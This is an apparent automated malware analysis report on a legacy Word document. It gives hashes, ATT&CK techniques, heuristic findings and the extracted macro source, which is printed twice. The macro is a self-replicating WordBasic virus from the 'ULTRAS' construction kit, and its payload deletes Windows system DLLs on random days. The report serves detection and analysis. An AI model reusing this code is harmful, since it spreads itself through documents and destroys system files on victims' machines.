Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a9483587656fc6a…

MALICIOUS

Office (OLE)

38.0 KB Created: 2003-11-05 23:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 65fff57362c5dfc0ce3c023919aaaaeb SHA-1: e71fa3ba40bbd3a968f6b5aa68988fbca7863dab SHA-256: 9a9483587656fc6a17f9d5b051db5bbf2f488ba6d812b75b3a9cb5c1024bca30
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon document opening. The 'ULTRAS CONSTRUCTION KIT FOR WORD' strings suggest a tool used for creating malicious documents. The script attempts to copy macros and save the file, indicating an effort to ensure execution and persistence. The obfuscated nature of the Payload subroutine, which includes conditional logic based on the date and weekday, suggests an attempt to evade detection while potentially preparing to execute a secondary payload.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2030 bytes
SHA-256: 2a5b757ed2cb8d141c671e92eec98d9c58c05bf65cce685ed386d8dc61774f27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose2"

'*************************************
'* ULTRAS CONSTRUCTION KIT FOR WORD  *
'*            Version 1.0b           *
'*************************************
Public Sub Main()
Dim uCkAo$
Dim uCkAc$
On Error Resume Next
uCkAo$ = WordBasic.[FileName$]() + ":AutoOpen"
uCkAc$ = "AutoClose"
WordBasic.MacroCopy uCkAo$, uCkAc$
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy uCkAo$, uCkAc$
WordBasic.FileSave
Payload
End Sub
Private Sub Payload()
Dim U
Dim Destroy$
Dim G
U = WordBasic.Int(Rnd() * 30) + 1
If WordBasic.Day(WordBasic.Now()) = U Then
WordBasic.MsgBox "ZL0BA by ULTRAS", ("UCK"), 16
Destroy$ = "C:\Windows\system\*.dll"
SetAttr Destroy$, 0
WordBasic.Kill Destroy$
End If
G = WordBasic.Int(Rnd() * 6) + 1
If WordBasic.Weekday(WordBasic.Now()) = G Then
WordBasic.AppHide "Program Manager"
End If
End Sub

Attribute VB_Name = "AutoClose1"

'*************************************
'* ULTRAS CONSTRUCTION KIT FOR WORD  *
'*            Version 1.0b           *
'*************************************
Public Sub Main()
Dim uCkAo$
Dim uCkAc$
On Error Resume Next
uCkAo$ = WordBasic.[FileName$]() + ":AutoOpen"
uCkAc$ = "AutoClose"
WordBasic.MacroCopy uCkAo$, uCkAc$
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy uCkAo$, uCkAc$
WordBasic.FileSave
Payload
End Sub
Private Sub Payload()
Dim U
Dim Destroy$
Dim G
U = WordBasic.Int(Rnd() * 30) + 1
If WordBasic.Day(WordBasic.Now()) = U Then
WordBasic.MsgBox "ZL0BA by ULTRAS", ("UCK"), 16
Destroy$ = "C:\Windows\system\*.dll"
SetAttr Destroy$, 0
WordBasic.Kill Destroy$
End If
G = WordBasic.Int(Rnd() * 6) + 1
If WordBasic.Weekday(WordBasic.Now()) = G Then
WordBasic.AppHide "Program Manager"
End If
End Sub

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